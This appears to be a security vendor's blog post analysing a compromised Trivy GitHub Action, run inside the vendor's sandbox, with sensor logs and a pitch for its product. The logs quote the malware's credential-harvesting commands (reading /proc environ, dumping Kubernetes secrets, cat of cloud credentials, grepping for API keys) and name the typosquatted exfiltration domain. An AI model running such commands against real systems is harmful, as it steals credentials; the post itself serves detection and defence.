Right now, a compromised GitHub Action could run in your CI pipeline, scrape secrets from runner memory, and POST them to an attacker-controlled server. You would see a successful run in your logs. You would not see any credential theft. This happened to thousands of organizations on March 19, 2026, and most of them still don't know.
If this ran in your pipeline today, the attacker would get real credentials.
We took the actual payload TeamPCP used to compromise Aqua Security's Trivy vulnerability scanner, and ran it on an iron.sh VM running iron-sensor. The malware executed flawlessly. It scraped process memory, harvested credentials, encrypted everything, and attempted to exfiltrate.
Here's what the attacker would have received.
The Punchline
GITHUB_TOKEN=IRONSH_PROXY_agent-github-agent-token_0c2a713c
ANTHROPIC_API_KEY=IRONSH_PROXY_openclaw-anthropic_e9043de6
TELEGRAM_BOT_TOKEN=IRONSH_PROXY_openclaw-telegram_fce2a17b
Three proxy tokens that authenticate to nothing, because iron.sh VMs never contain real credentials.
When your agent makes a legitimate API call, iron.sh's secrets proxy injects the real credential outside the VM. Inside the VM, ANTHROPIC_API_KEY is an opaque token. The malware finds it, collects it, encrypts, packages it into tpcp.tar.gz, and tries to POST it to a typosquatted scan.aquasecurtiy[.]org.
Since the typosquat isn't whitelisted, the egress proxy drops the request. But even if it hadn't, the attacker gets proxy tokens that don't work outside the VM. The malware doesn't need to be blocked to be harmless.

So the secrets were fake and the exfil was blocked. But we also got to watch the whole thing happen. iron-sensor recorded 496 events in 13 seconds. We captured every syscall, every file read, every blocked network request.
Same Payload, Two Outcomes
| Typical Environment | iron.sh VM | |
|---|---|---|
| Secrets in environment | Real GITHUB_TOKEN, real API keys, real OAuth tokens | Opaque proxy tokens (IRONSH_PROXY_*) |
| Process memory scrape | Dumps real credentials from /proc/PID/environ | Dumps proxy tokens, nothing else exists |
| AWS IMDS request | Returns IAM role credentials | {"error":"egress denied"} |
| Exfil to C2 | Encrypted payload reaches scan.aquasecurtiy.org | Blocked at the egress firewall |
| Even if exfil succeeds | Attacker has your GitHub token, your API keys, your cloud credentials | Attacker has unusable proxy tokens that don't work outside the VM |
| Detection | Potentially a SIEM alert hours later | Real time |
| Outcome | Rotate everything, incident response, breach disclosure | Read the logs, move on |
The malware runs identically in both environments. It doesn't fail in ours. It succeeds at stealing nothing.
Same attack. Completely different outcome.
What the Attack Does
The TPCP payload is not a generic info-stealer. It was built to exploit the specific trust model of CI/CD environments.
It starts by hunting for GitHub Actions runner processes. It then reads /proc/PID/environ to scrape environment variables directly from memory, bypassing any sanitization of printenv. iron-sensor flagged this at severity 0.
{
"event_id": "01KMTYG9C22AJD4JZ0F7WBDAXH",
"severity": 0,
"exe": "/usr/bin/bash",
"rule_matched": "proc_mem_access",
"path": "/proc/3668/environ"
}Then, a base64-encoded Python script runs a systematic credential sweep: AWS IMDS, Kubernetes secrets, GCP service account files, database connection strings, SSH keys, crypto wallets. It reads /etc/shadow. It checks your authorized_keys. Everything gets written to a single staging file.
{
"event_id": "01KMTYG9FSKXPBJ7563XHRXXNV",
"exe": "/usr/bin/dash",
"argv": [
"/bin/sh",
"-c",
"kubectl get secrets --all-namespaces -o json 2>/dev/null || true"
],
"rule_matched": "shell_spawn"
}
{
"event_id": "01KMTYG9FWWVWK1Q3ZSBHAC3ZQ",
"exe": "/usr/bin/dash",
"argv": [
"/bin/sh",
"-c",
"cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true"
],
"rule_matched": "shell_spawn"
}
{
"event_id": "01KMTYGK9J6JWYCR1CY6BN3T02",
"ts": "2026-03-28T19:25:09.81034665Z",
"exe": "/usr/bin/grep",
"argv": [
"grep",
"-rE",
"api[_-]?key|apikey|api[_-]?secret|access[_-]?token",
".",
"--include=*.env*",
"--include=*.json",
"--include=*.yml",
"--include=*.yaml"
]
}
// And about 20 more of theseIt's worth noting that some of these aren't environment variables. kubectl get secrets --all-namespaces is a network call to the K8s API that would return real secrets. On an iron.sh VM, that call hits the same default-deny egress firewall as everything else. The request never reaches the cluster.
The staging file gets encrypted with a random session key, the session key gets RSA-wrapped with TeamPCP's public key, and the bundle gets POSTed to the typosquat C2. In a CI log full of Aqua Security network traffic, the request to aquasecurtiy[.]org blends right in.
This Is Probably Your Setup
Let's be specific. If you're running AI coding agents, CI/CD pipelines, or automated tooling that touches secrets, your environment is a trusted process with real credentials and outbound network access. That's the attack surface TeamPCP used.
The TPCP payload could run in your pipeline today and you would not notice. It executes before the real Trivy scan, the scan completes normally, and the only evidence is an outbound POST to a domain that looks like it belongs to your security vendor. If you're not monitoring egress and process-level behavior on your runners you'd find out when the attacker uses your stolen credentials against you.
The question isn't whether your dependencies will be compromised. The dependency you use to check for compromised dependencies was just compromised. The question is what the attacker gets when it happens.
Get Started
Run this in your terminal:
curl -fsSL https://iron.sh/install | bash
irons onboardThat's it. You'll get a VM with proxied secrets and default-deny egress ready in 60 seconds.